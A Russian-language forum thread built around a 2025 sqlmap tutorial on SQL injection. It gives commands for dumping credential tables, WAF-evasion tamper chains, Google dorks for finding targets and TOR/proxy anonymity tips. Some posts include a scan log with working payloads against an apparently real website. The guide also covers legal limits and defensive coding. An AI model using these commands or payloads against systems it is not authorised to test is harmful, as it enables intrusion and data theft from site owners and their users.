PDA

Просмотр полной версии : SQLMAP: Полное руководство 2025 по SQL-инъекциям. От основ до обхода WAF


mobius0707
20.09.2018, 11:25
Здравствуйте, небольшой мануал по поиску SQLi в примерах The SQL Injection Knowledge Base

moeimya
22.09.2018, 01:12
Печально когда доходишь до паролей а там AES

Sqlshik
07.01.2020, 23:50
И oпять вызываем уже знакомую процедуру --columns (колоночки) но уже по таблице "user_".

Код:



sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_info --columns


Далее меня заинтересовало то что в сети находяться 4ре хоста, но в колоночке Избыточность...

B6D4
08.01.2020, 16:56
https://forum.antichat.xyz/attachments/4865620/1578498912726.png

И что дальше делать?как увидеть логин и пароль?

Яполный ламер,не судите строго.

explorer
08.01.2020, 17:19
B6D4 сказал(а):

И что дальше делать?как увидеть логин и пароль?

Яполный ламер,не судите строго.


sqlmap --random-agent -u http:/site.php?id=1 -D название базы -T название таблицы -C название колонки --dump
или ещё проще, без названия колонки, вытащит сразу все данные изо всех колонок (применять, если данных мало)
sqlmap --random-agent -u http:/site.php?id=1 -D название базы -T название таблицы --dump

Hudjii5
13.02.2020, 09:21
Magnit сказал(а):

Объясните или, если не сложно, дайте ссылку где описано, в чем разница в параметрах --level u --risk
Много инфы, да и на практике CTF не один раз валил БД с --level=5 --risk=3
при включении v3 увидел разницу, что при параметре risk=1 не используются where, он требует risk=3, но что к примеру делает risk=2, и levels не понимаю
спасибо за ответ


Тоже хотелось бы подробнее узнать

sith_ortodox
01.03.2020, 11:25
Неплохо бы еще добавлять параметры --tor и --check-tor (добавит немножко анонимности в пентест)

kravl
07.03.2020, 00:28
Можно ли эти знания применять определенно на 1 сайт или только, те которые имеют подобный дорк ?

picasoready
19.07.2020, 01:24
самое главное не сказали, а где скачать этот sqlmap

jeric
21.07.2020, 11:36
picasoready сказал(а):

самое главное не сказали, а где скачать этот sqlmap

На их официальном сайте. Гугл тебе в помощь. Хотя наверное, это не твое...

Сергей Попов
01.07.2025, 00:03
https://forum.antichat.xyz/attachments/4824716/1751313927036.png

От основ до обхода WAF и защиты. Актуальный гайд на 2025 год.
Sqlmap — это не просто инструмент. Это швейцарский нож пентестера, который превращает рутинный поиск SQL-инъекций в автоматизированный процесс, вплоть до полного захвата сервера. Старые гайды по нему хороши, но мир не стоит на месте: везде стоят WAF, технологии меняются. Поэтому мы собрали здесь всё воедино: классическую базу, современные техники обхода и актуальные советы по защите. Всё в стиле античат — по делу и без воды.
Что умеет sqlmap? Ключевые возможности в 2025 году
Если коротко — sqlmap делает почти всё. Он сам определяет тип уязвимости, подбирает нужный эксплойт и вытаскивает данные. Вот его основной арсенал, актуальный для последних версий:

Поддержка СУБД: Практически всё, что можно встретить в проде. От классики вроде MySQL, PostgreSQL, Oracle, MSSQL до SQLite, MariaDB, ClickHouse и даже экзотики вроде SAP MaxDB. Полный список всегда есть на официальном сайте.

Все 6 техник инъекций: Boolean-blind, Time-blind, Error-based, UNION, Stacked queries, Out-of-band. Инструмент сам определит, какая из них сработает лучше всего.

Прямое подключение к БД: Если у вас уже есть логин и пароль от базы данных, sqlmap может подключиться напрямую, без всяких инъекций, для дальнейшей работы.

Перечисление (Enumeration): Может вытащить информацию о пользователях, хэшах паролей, ролях, привилегиях, базах данных, таблицах и колонках.

Автоматический брутфорс хэшей: Находит хэши паролей и тут же пытается вскрыть их по встроенным словарям.

Дампинг данных: Позволяет скачать всю таблицу, отдельные столбцы или даже отфильтровать данные по вашему запросу.

Работа с файловой системой: Может читать и записывать файлы на сервер, если у пользователя БД есть на это права (актуально для MySQL, PostgreSQL, MSSQL).

Выполнение команд на сервере (

--os-shell

): При определенных условиях можно получить полноценную командную строку на целевом сервере.

Создание Out-of-band каналов: Позволяет установить TCP-сессию между жертвой и атакующим, например, для получения шелла через Meterpreter.

Эскалация привилегий: Интегрируется с Metasploit для повышения привилегий в системе.
Как это работает под капотом: техники инъекций
Sqlmap не просто бездумно шлет запросы. Он действует последовательно, перебирая техники от самых шумных и быстрых к самым медленным и незаметным.

Error-based (На основе ошибок): Самый быстрый способ. Sqlmap пытается вызвать ошибку SQL (

...id=1'

) и парсит ее текст, чтобы извлечь данные. Сработает, только если сайт выводит отладочную информацию, что сегодня уже редкость.

UNION-based (На основе UNION): Классика. Инструмент подбирает правильное количество столбцов в запросе и объединяет его со своим через

UNION ALL SELECT

. Если повезет, данные из базы выводятся прямо на странице.

Boolean-based blind («Слепая» на основе логики): Когда сайт не показывает ошибок и данных, sqlmap начинает играть в игру «горячо-холодно». Он добавляет к запросу условия вроде

AND 1=1

и

AND 1=2

и смотрит, меняется ли страница. Так, по одному байту, он восстанавливает нужную информацию.

Time-based blind («Слепая» на основе времени): Самый медленный, но самый надежный метод. Если ничего другое не помогло, sqlmap добавляет в запрос команду задержки (

SLEEP(5)

). Если ответ сервера приходит с задержкой, значит, условие выполнилось. Это долго, но почти всегда работает.

Stacked queries (Пакетные запросы): Мощнейшая техника, если поддерживается СУБД. Позволяет выполнить несколько запросов за раз, разделив их точкой с запятой (

;

). Именно так можно не только читать, но и изменять данные или выполнять системные команды.

Out-of-band (Внеполосные): Самая продвинутая техника. Заставляет базу данных саму отправить данные на сервер атакующего (например, через DNS-запрос). Требует специфических настроек и прав.
Пробиваемся через WAF: Tamper-скрипты и хитрости
Сегодня почти любой серьезный проект защищен Web Application Firewall (WAF). Прямые атаки sqlmap он легко отобьет. Но и на этот случай у нас есть решение — tamper-скрипты. Это небольшие скрипты, которые на лету изменяют ваши запросы, чтобы обмануть файрвол.

Они умеют:

Кодировать полезную нагрузку (Base64, HEX).

Заменять пробелы на комментарии (

/**/

).

Менять регистр символов (

SeLeCt

).

Вставлять "мусор" и многое другое. Их больше 50 штук!
Пример команды для обхода популярных WAF (вроде Cloudflare, ModSecurity):

Bash:



sqlmap -u
"http://site/?id=1"
--tamper
=
space2comment,randomcase,base64encode --level
=
5
--risk
=
3
--random-agent


Наши советы по обходу:

Начинайте с простого:

space2comment

или

chardump

— классика.

Комбинируйте: Не бойтесь создавать цепочки из нескольких скриптов.

Маскируйтесь: Всегда используйте

--random-agent

, чтобы не палиться по стандартному User-Agent от sqlmap.

Будьте терпеливы: Подбор рабочего tamper-скрипта — это итеративный процесс. Что-то заблокировали? Пробуйте другой.

Используйте прокси: Для сокрытия своего IP и обхода блокировок можно завернуть трафик sqlmap через TOR или цепочку прокси с помощью

proxychains

.
Важнейшие параметры:

--level

и

--risk


Многие новички копируют команды, не понимая этих ключей. А это критически важно.


--level=...

(от 1 до 5): Глубина проверки.

level=1

(по умолчанию): Проверяются только GET и POST параметры.


level=2

: Добавляется проверка Cookie.


level=3

: Добавляется User-Agent и Referer.


level=5

: Проверяется абсолютно всё. Начинайте с

level=5

, чтобы ничего не упустить.



--risk=...

(от 1 до 3): Степень риска.

risk=1

(по умолчанию): Только безобидные запросы.


risk=2

: Добавляются "тяжелые" time-based запросы.


risk=3

: Добавляются запросы, которые могут изменять данные (например,

OR

в

UPDATE

).

Золотое правило:

risk=3

используйте с большой осторожностью! На слабом сервере тяжелые запросы могут вызвать отказ в обслуживании (DoS). Неприятно, правда?
Закон и этика: это не игрушки
Запомните раз и навсегда:

sqlmap

— это инструмент для авторизованного тестирования на проникновение. Его использование на чужих ресурсах без письменного разрешения владельца — это уголовное преступление (в РФ — ст. 272, 273 УК РФ).

Последствия могут быть серьезными:

Уголовная и гражданская ответственность.

Блокировка вашего IP-адреса навсегда.

Проблемы с участием в программах Bug Bounty и карьерой в ИБ.
Если вы серьезно настроены превратить эти навыки в профессию, важно понимать весь путь. Начать можно с подробного руководства на форуме, которое поможет сориентироваться: Руководство для начинающего пентестера: как войти в профессию с нуля (https://forum.antichat.xyz/threads/584955/).Используйте инструмент только если у вас есть официальный договор на пентест или вы действуете в рамках публичной политики Bug Bounty. В остальных случаях — тренируйтесь на специально созданных для этого лабораториях (например, DVWA, bWAPP).
Как начать: пошаговый план
Прежде чем мы перейдем к конкретным командам, полезно понимать, как этот инструмент вписывается в общую картину. Если вы хотите лучше разобраться в том, что такое пентест и чем он отличается от работы Red Team, на форуме есть отличный обзорный материал: Всё о Пентесте и Red Team для новичков в новых реалиях (https://forum.antichat.xyz/threads/584913/).
Шаг 1: Поиск цели (для учебных целей!)
Классические Google Dorks всё ещё работают, но в основном на старых сайтах или в рамках CTF:

Код:



inurl:.php?id=
inurl:product.php?item_id=
inurl:article.php?cat_id=


Сегодня большинство таких URL уже пропатчены. Но для понимания механики это отличный старт.
Шаг 2: Быстрая ручная проверка
Простейший тест — добавить кавычку (

'

) в конец параметра URL:


http://test-site.com/product.php?id=123'


Если в ответ прилетела ошибка SQL — это хороший знак. Если нет — это еще ничего не значит! Уязвимость может быть слепой, и тут-то нам и нужен sqlmap.
Шаг 3: Эксплуатация с помощью sqlmap

Простая проверка и получение списка БД

Bash:



sqlmap -u
"http://test-site.com/product.php?id=123"
--dbs


Получение таблиц из конкретной БД

Bash:



sqlmap -u
"..."
-D target_db --tables


Получение столбцов из таблицы

Bash:



sqlmap -u
"..."
-D target_db -T
users
--columns


Дампинг данных из столбцов

Bash:



sqlmap -u
"..."
-D target_db -T
users
-C username,password --dump

А если сайт требует логин?
В 99% случаев интересные уязвимости находятся за формой входа. Чтобы

sqlmap

работал в авторизованной зоне, ему нужно передать вашу сессионную cookie.

Залогиньтесь на сайте через браузер.

Откройте инструменты разработчика (F12) -> Application/Storage -> Cookies.

Скопируйте значение вашей сессионной cookie (например,

PHPSESSID=a1b2c3d4e5f6

).

Добавьте ее в команду:

Bash:



sqlmap -u
"http://site.com/profile.php?id=1"
--cookie
=
"PHPSESSID=a1b2c3d4e5f6"
--dbs

Еще удобнее — перехватить запрос в Burp Suite, сохранить его в файл

request.txt

и скормить sqlmap:

sqlmap -r request.txt

.
А что насчет API и JSON?
Да,

sqlmap

умеет и это. Если приложение общается через JSON, укажите место для инъекции звездочкой

*

:

Bash:



sqlmap -u
"http://api.site.com/v1/user"
--method
=
POST --data
=
'{"id": 1, "role": "user"}'
--headers
=
"Content-Type: application/json"
-p
"id"


Или просто укажите, какой параметр проверять, с помощью флага

-p

.
Как защититься? Советы для разработчиков
Атаковать весело, но важно уметь и строить крепости. Вот главные правила защиты от SQL-инъекций:

Параметризованные запросы (Prepared Statements): Это золотой стандарт и самый надежный метод. Данные передаются в базу отдельно от самого SQL-запроса, и СУБД просто не может их исполнить. Используйте их всегда. ORM (Object-Relational Mapping) в современных фреймворках делают это по умолчанию.

Принцип наименьших привилегий: Пользователь БД, от имени которого ваше веб-приложение работает с базой, должен иметь минимально необходимые права. Только

SELECT

,

INSERT

,

UPDATE

для своих таблиц. Никаких

FILE

,

SHUTDOWN

или прав администратора (

dbo

).

Хорошо настроенный WAF: Не просто включить "для галочки". WAF должен работать в режиме блокировки, а его правила — регулярно обновляться.

Валидация и фильтрация входных данных: Проверяйте все, что приходит от пользователя. Если ожидается число — убедитесь, что это число. Если email — проверьте его формат регулярным выражением.

Отключение вывода ошибок: На продакшн-сервере пользователи никогда не должны видеть отладочную информацию и тексты ошибок СУБД.

Регулярный аудит и пентесты: Нанимайте специалистов или проводите Bug Bounty программы, чтобы найти дыры раньше, чем их найдут злоумышленники.
Вместо заключения
Sqlmap — это невероятно мощный скальпель в руках специалиста. Но, как и любой инструмент, он требует понимания. Важно не просто заучить команды, а осознавать, что происходит "под капотом", помнить об ответственности и всегда думать на два шага вперед — не только как атаковать, но и как защититься.

Надеюсь, это руководство поможет вам в ваших (легальных!) исследованиях. Успешного пентеста и безопасного кода!

Продолжение: Гайд по SQL-инъекциям: SQLMap + Hashcat (https://forum.antichat.xyz/threads/565033/)



Обновлено и дополнено командой античат на основе официальной документации sqlmap и практического опыта.

delifer
01.07.2025, 11:10
sith_ortodox сказал(а):

Неплохо бы еще добавлять параметры --tor и --check-tor (добавит немножко анонимности в пентест)


а смысл? Мы тут всё по договору делаем, легально, боюсь это не требуется)

gamoxy
25.11.2025, 02:15
Parameter: page_id (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause

Payload: page_id=-6154) OR 5450=5450 AND (8862=8862&amp=1

Type: UNION query

Title: Generic UNION query (random number) - 8 columns

Payload: page_id=-6697) UNION ALL SELECT 6812,6812,6812,6812,6812,6812,6812,'qjqxq'||'XrrFQ nvzWGtBSHNuZlXbUDgQvCKGcXoHkTZgeAfY'||'qjvkq';--&amp=1

---

do you want to exploit this SQL injection? [Y/n] Y

[08:14:07] [INFO] testing CrateDB

[08:14:08] [WARNING] the back-end DBMS is not CrateDB

[08:14:08] [INFO] testing MySQL

[08:14:10] [WARNING] the back-end DBMS is not MySQL

[08:14:10] [INFO] testing Oracle

[08:14:11] [WARNING] the back-end DBMS is not Oracle

[08:14:11] [INFO] testing PostgreSQL

[08:14:12] [WARNING] the back-end DBMS is not PostgreSQL

[08:14:12] [INFO] testing Microsoft SQL Server

[08:14:14] [WARNING] the back-end DBMS is not Microsoft SQL Server

[08:14:14] [INFO] testing SQLite

[08:14:15] [WARNING] the back-end DBMS is not SQLite

[08:14:15] [INFO] testing Microsoft Access

[08:14:16] [WARNING] the back-end DBMS is not Microsoft Access

[08:14:16] [INFO] testing Firebird

[08:14:17] [WARNING] the back-end DBMS is not Firebird

[08:14:17] [INFO] testing SAP MaxDB

[08:14:18] [WARNING] the back-end DBMS is not SAP MaxDB

[08:14:18] [INFO] testing Sybase

[08:14:19] [WARNING] the back-end DBMS is not Sybase

[08:14:19] [INFO] testing IBM DB2

[08:14:20] [WARNING] the back-end DBMS is not IBM DB2

[08:14:20] [INFO] testing HSQLDB

[08:14:21] [WARNING] the back-end DBMS is not HSQLDB

[08:14:21] [INFO] testing H2

[08:14:22] [WARNING] the back-end DBMS is not H2

[08:14:22] [INFO] testing Informix

[08:14:23] [WARNING] the back-end DBMS is not Informix

[08:14:23] [INFO] testing MonetDB

[08:14:24] [WARNING] the back-end DBMS is not MonetDB

[08:14:24] [INFO] testing Apache Derby

[08:14:26] [WARNING] the back-end DBMS is not Apache Derby

[08:14:26] [INFO] testing Vertica

[08:14:27] [WARNING] the back-end DBMS is not Vertica

[08:14:27] [INFO] testing Mckoi

[08:14:29] [WARNING] the back-end DBMS is not Mckoi

[08:14:29] [INFO] testing Presto

[08:14:30] [WARNING] the back-end DBMS is not Presto

[08:14:30] [INFO] testing Altibase

[08:14:31] [WARNING] the back-end DBMS is not Altibase

[08:14:31] [INFO] testing MimerSQL

[08:14:32] [WARNING] the back-end DBMS is not MimerSQL

[08:14:32] [INFO] testing ClickHouse

[08:14:32] [WARNING] the back-end DBMS is not ClickHouse

[08:14:32] [INFO] testing Cubrid

[08:14:33] [WARNING] the back-end DBMS is not Cubrid

[08:14:33] [INFO] testing InterSystems Cache

[08:14:34] [WARNING] the back-end DBMS is not InterSystems Cache

[08:14:34] [INFO] testing eXtremeDB

[08:14:35] [WARNING] the back-end DBMS is not eXtremeDB

[08:14:35] [INFO] testing FrontBase

[08:14:37] [WARNING] the back-end DBMS is not FrontBase

[08:14:37] [INFO] testing Raima Database Manager

[08:14:38] [WARNING] the back-end DBMS is not Raima Database Manager

[08:14:38] [INFO] testing Virtuoso

[08:14:39] [WARNING] the back-end DBMS is not Virtuoso

[08:14:39] [ERROR] sqlmap was not able to fingerprint the back-end database management system, skipping to the next target

SQL injection vulnerability has already been detected against 'alwalalyemeni.com'. Do you want to skip further tests involving it? [Y/n] Y

[08:14:39] [INFO] skipping 'من نحن - alwalaly'

[08:14:39] [INFO] skipping '- alwalaly'

[08:14:39] [INFO] skipping 'الوزير - alwalaly'

[08:14:39] [INFO] skipping 'الوعل - alwalaly'

[08:14:39] [INFO] you can find results of scanning in multiple targets mode inside the CSV file 'Local\sqlmap\output\results-11052025_0906pm.csv'

ending @ 08:14:39 /2025-11-06/

Что мне делать дальше? Я не могу обойти защиту.

Valentin_K
25.03.2026, 13:18
Спасибо за гайд. Хорошее объяснение, причем на русском языке.
+ полезные ссылки по пентесту.
Одним словом отличный материал для интересующихся в кибербезе людей)

deniska1986
12.06.2026, 15:15
Я скачивал sqlmap с официального репозитория на GitHub, там всегда свежие версии. Просто поискал "sqlmap github" и загрузил архив или клонировал через git. Там пояснения есть, как запускать, на русском тоже можно найти много гайдов. Главное, не берись сразу за сложные фичи, сначала понять базу.